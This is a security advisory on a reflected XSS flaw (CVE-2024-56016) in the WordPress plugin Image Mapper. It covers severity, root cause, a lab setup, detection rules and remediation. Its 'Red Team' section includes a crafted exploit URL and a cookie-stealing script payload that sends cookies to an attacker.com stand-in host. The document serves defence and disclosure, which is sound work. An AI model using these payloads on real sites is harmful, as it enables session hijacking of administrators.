CVE-2024-56016

Executive Summary

CVE-2024-56016 is a Reflected Cross-Site Scripting (XSS) vulnerability found in the WordPress plugin "Image Mapper" by vendor Maartenhemmes. The vulnerability exists in versions <= 0.2.5.3 due to improper neutralization of user-supplied input during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated administrator or any user with sufficient privileges, executes arbitrary JavaScript in the context of the WordPress admin dashboard. This can lead to session hijacking, defacement, or redirection to malicious sites. The CVSS score is 7.1 (High), and no official patch has been released as of the latest analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the plugin is unmaintained and unpatched, any site using it is at risk. There is no known supply chain compromise (e.g., malicious commits or backdoored packages), but the lack of a patch means the plugin should be considered abandoned. Users should remove or replace the plugin immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
• User Interaction: Required (UI:R) – The victim must click a crafted link.
• Scope: Changed (S:C) – The XSS can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: Low (A:L) – Limited disruption.

Threat Level: High. Although EPSS is low, the lack of a patch and the ease of exploitation (no auth, low complexity) make this a significant risk for any WordPress site using the plugin.

Deep Dive & Mechanics

The vulnerability resides in the image-mapper plugin, which allows users to create interactive image maps with clickable regions. The plugin fails to sanitize or escape user-supplied input when generating HTML output. Specifically, the map parameter or other GET/POST parameters are reflected back into the page without proper encoding.

Attack Flow:

1. An attacker crafts a URL like: https://victim-site.com/wp-admin/admin.php?page=image-mapper&map=<script>alert('XSS')</script>
2. The victim (e.g., an admin) clicks the link while logged into WordPress.
3. The plugin processes the map parameter and outputs it directly into the page source without sanitization.
4. The browser executes the injected JavaScript, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: The plugin uses functions like echo $_GET['map'] or similar without applying esc_html(), esc_attr(), or wp_kses().

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely appears in the plugin's admin page handler:

Vulnerable Code (PHP):

<?php
// image-mapper.php (vulnerable)
$map = $_GET['map'];
echo "<div id='map-container'>$map</div>";
?>

Patched Code (Hypothetical):

<?php
// image-mapper.php (patched)
$map = isset($_GET['map']) ? esc_html($_GET['map']) : '';
echo "<div id='map-container'>" . esc_html($map) . "</div>";
?>

The fix requires proper output escaping using WordPress functions like esc_html() or esc_attr().

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Image Mapper plugin <= 0.2.5.3 installed and activated.
• A victim user with admin privileges (or any role that can access the plugin page).

Exploit Payload:

<script>alert('XSS')</script>

Crafted URL:

https://victim-site.com/wp-admin/admin.php?page=image-mapper&map=<script>alert('XSS')</script>

Advanced Payload (Cookie Stealing):

<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>

Lab Setup:

1. Install a local WordPress instance (e.g., using Docker or XAMPP).
2. Download and install Image Mapper plugin version 0.2.5.3 from the WordPress plugin archive.
3. Activate the plugin.
4. As an admin, visit the crafted URL to confirm the XSS alert.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing <script> tags in the map parameter.
• Look for unusual URL patterns like ?map=<script> or ?map=alert.
• Use WAF rules to block reflected XSS patterns.

Defense:

• Immediately deactivate and remove the Image Mapper plugin.
• If removal is not possible, implement a virtual patch using a WAF (e.g., ModSecurity rule to block map parameter containing <script>).
• Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

• URL Pattern: */wp-admin/admin.php?page=image-mapper&map=*<script>*
• Log Entry: GET /wp-admin/admin.php?page=image-mapper&map=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E
• Plugin Version: Image Mapper <= 0.2.5.3
• File Hash (vulnerable plugin): (SHA256 of plugin zip) – Not provided, but can be computed from official source.

Detection Engineering

YARA Rule

rule Detect_ImageMapper_XSS {
    meta:
        description = "Detects reflected XSS attempts against Image Mapper plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-56016"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $map_param = "page=image-mapper&map="
    condition:
        $map_param and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against Image Mapper Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests containing XSS payloads in the map parameter of Image Mapper plugin
author: Valters IT
date: 2025/04/10
tags:
    - attack.t1059.007
    - cve.2024.56016
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains|all:
            - "page=image-mapper"
            - "map="
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of script tags in map parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56016 - Reflected XSS in Image Mapper Plugin"; flow:to_server,established; content:"page=image-mapper"; http_uri; content:"map="; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Deactivate and delete the Image Mapper plugin from all WordPress installations.
2. If the plugin is critical, consider replacing it with an alternative (e.g., "Image Map Pro" or custom solution).
3. Scan the WordPress site for any signs of compromise (e.g., unexpected admin users, modified files).

Long-Term Mitigation:

• Implement a Web Application Firewall (WAF) with rules to block reflected XSS.
• Enforce Content Security Policy (CSP) headers to restrict script execution.
• Regularly audit all plugins and themes for vulnerabilities.
• Subscribe to WordPress security advisories.

Patch Status: No official patch exists. The plugin appears abandoned. Users must remove it.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst